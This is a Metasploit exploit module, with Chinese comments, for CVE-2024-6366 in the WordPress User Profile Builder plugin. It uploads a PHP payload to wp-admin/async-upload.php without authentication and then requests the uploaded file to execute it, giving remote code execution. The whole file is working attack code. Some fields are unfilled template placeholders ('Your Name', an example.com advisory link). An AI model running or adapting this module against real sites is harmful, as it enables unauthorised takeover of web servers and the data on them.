CVE-2024-6366

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WordPress User Profile Builder Unauthenticated File Upload RCE',
      'Description'    => %q{
        本模块利用WordPress插件User Profile Builder 3.11.8之前版本中的一个漏洞。
        该插件缺少适当的授权，允许未认证用户通过异步上传功能上传媒体文件。
        这可用于上传并执行恶意PHP有效负载。
      },
      'Author'         =>
        [
          'Your Name'  # OneArch
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2024-6366'],  # 替换为实际的CVE标识符
          ['URL', 'https://example.com/advisory'] # 如果有公告链接请替换
        ],
      'Privileged'     => false,
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          [ 'WordPress User Profile Builder < 3.11.8', {} ]
        ],
      'DisclosureDate' => 'Aug 03 2024',
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        OptString.new('TARGETURI', [ true, "WordPress安装的基础路径", '/']),
      ])
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path),
    })

    if res && res.body.include?('wp-content/plugins/user-profile-builder')
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    php_payload = "<?php #{payload.encoded} ?>"
    data = Rex::MIME::Message.new
    data.add_part(php_payload, 'application/octet-stream', nil, "form-data; name=\"async-upload\"; filename=\"#{Rex::Text.rand_text_alpha(8..12)}.php\"")
    data.add_part('1', nil, nil, 'form-data; name="html-upload"')
    data.add_part('Upload', nil, nil, 'form-data; name="upload"')

    print_status("正在上传PHP有效负载...")
    res = send_request_cgi({
      'method'  => 'POST',
      'uri'     => normalize_uri(target_uri.path, 'wp-admin', 'async-upload.php'),
      'ctype'   => "multipart/form-data; boundary=#{data.bound}",
      'data'    => data.to_s
    })

    if res && res.code == 200 && res.body.include?('.php')
      php_path = res.body.match(/(\/wp-content\/uploads\/[0-9]+\/[0-9]+\/.*?\.php)/)[1]
      print_good("有效负载上传成功：#{php_path}")

      register_files_for_cleanup(php_path)
      execute_command("#{php_path}")
    else
      fail_with(Failure::UnexpectedReply, '上传有效负载失败')
    end
  end

  def execute_command(php_path)
    print_status("正在执行PHP有效负载...")
    send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, php_path)
    })
  end
end